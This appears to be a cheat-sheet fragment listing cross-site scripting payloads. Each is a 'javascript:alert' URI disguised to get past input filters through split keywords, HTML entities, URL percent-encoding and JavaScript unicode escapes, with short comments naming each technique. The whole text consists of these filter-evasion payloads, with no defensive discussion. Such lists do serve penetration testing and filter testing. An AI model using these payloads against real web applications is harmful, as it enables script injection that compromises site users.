ja vascript:alert(1) ja vascript:alert(1) ja vascript:alert(1) javascript:alert() javascript:alert() javascript:alert() javascript:alert(1) javascript:alert() #HTML entities/encode: javascript:alert() javascript:alert`` #url encoding: javascript:alert%60%60 javascript:x='%27-alert(1)-%27'; javascript:%61%6c%65%72%74%28%29 #JS unicode javascript:a\u006Cert``" javascript:\u0061\u006C\u0065\u0072\u0074``